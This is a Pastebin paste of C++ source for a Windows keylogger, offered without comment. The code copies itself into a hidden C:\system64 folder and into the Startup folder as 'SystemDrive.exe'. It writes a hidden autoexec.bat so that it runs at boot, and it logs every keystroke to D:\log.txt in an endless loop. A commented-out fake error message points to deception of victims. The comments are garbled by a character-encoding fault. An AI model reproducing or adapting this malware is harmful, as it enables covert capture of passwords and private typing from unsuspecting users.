Advertisement
Guest User

Untitled

a guest
Nov 13th, 2019
104
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.40 KB | None | 0 0
  1. #include <cstdlib>
  2. #include <Windows.h>
  3. #include <iostream>
  4. #include <fstream>
  5. #include <direct.h>
  6. #include <CTime>
  7. #include <string.h>
  8.  
  9. using namespace std;
  10.  
  11. #define _CRT_SECURE_NO_WARNINGS
  12. #pragma warning(disable:4996)
  13.  
  14. int CALLBACK WinMain(
  15. HINSTANCE hInstance,
  16. HINSTANCE hPrevInstance,
  17. LPSTR lpCmdLine,
  18. int nCmdShow
  19. )
  20. {
  21. //%appdata%/Microsoft\Windows\Start Menu\Programs\Startup
  22.  
  23. char dir_pl[1024];
  24. GetModuleFileName(NULL, (LPWSTR)dir_pl, 1024);
  25. time_t now = time(0);
  26. char* dt = ctime(&now);
  27. char buffer[1024];
  28. GetEnvironmentVariable((LPCWSTR)"APPDATA", (LPWSTR)(char*)&buffer, sizeof(buffer));
  29.  
  30.  
  31. //-------------------------------------------------
  32. CreateDirectory((LPCWSTR)"C:\\system64", NULL);
  33. SetFileAttributes((LPCWSTR)"C:\\system64", FILE_ATTRIBUTE_HIDDEN);
  34. //-------------------------------------------------
  35. CopyFile((LPCWSTR)dir_pl, (LPCWSTR)"C:\\system64\\sys.exe", FALSE);
  36. CopyFile((LPCWSTR)dir_pl, (LPCWSTR)strcat(buffer, "\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\SystemDrive.exe"), FALSE);
  37. SetFileAttributes((LPCWSTR)strcat(buffer, "\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\SystemDrive.exe"), FILE_ATTRIBUTE_HIDDEN);
  38.  
  39. //-------------------------------------------------
  40.  
  41. ofstream fut("C:\\autoexec.bat");
  42. fut << "\nstart C:\\system64\\sys.exe";
  43. fut.close();
  44. SetFileAttributes((LPCWSTR)"C:\\autoexec.bat", FILE_ATTRIBUTE_HIDDEN);
  45.  
  46. //--------------------------------------------------
  47.  
  48. //MessageBox(NULL, "0x00000007: INVALID_SOFTWARE_INTERRUPT", "ERROR", MB_OK);
  49.  
  50. ofstream date("C:\\system64\\log.txt", ios::app);
  51. date << "\n|------------------------------------------\n|" << dt << "|------------------------------------------\n";
  52. date.close();
  53.  
  54.  
  55. // ñîçäàžì îáúåêò êëàññà ofstream äëÿ çàïèñè è ñâÿçûâàåì åãî ñ ôàéëîì cppstudio.txt
  56. //--------------------------------------------------
  57. while (true)
  58. {
  59. Sleep(200);//Çàäåðæêà
  60. for (int i = 1; i <= 256; i++)//Ïðîâåðêà íàæàòèÿ êàæäîé èç êëàâèøè
  61. {
  62. if (GetAsyncKeyState(i))
  63. {
  64. ofstream fout("D:\\log.txt", ios::app);
  65. //------------------------------------------------------------
  66. if (i != 1)
  67. fout << (char)i ;//Çàïèñü íîìåðà êëàâèøè â ëîã
  68. //------------------------------------------------------------
  69. fout.close();
  70. }
  71. }
  72. }
  73.  
  74. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement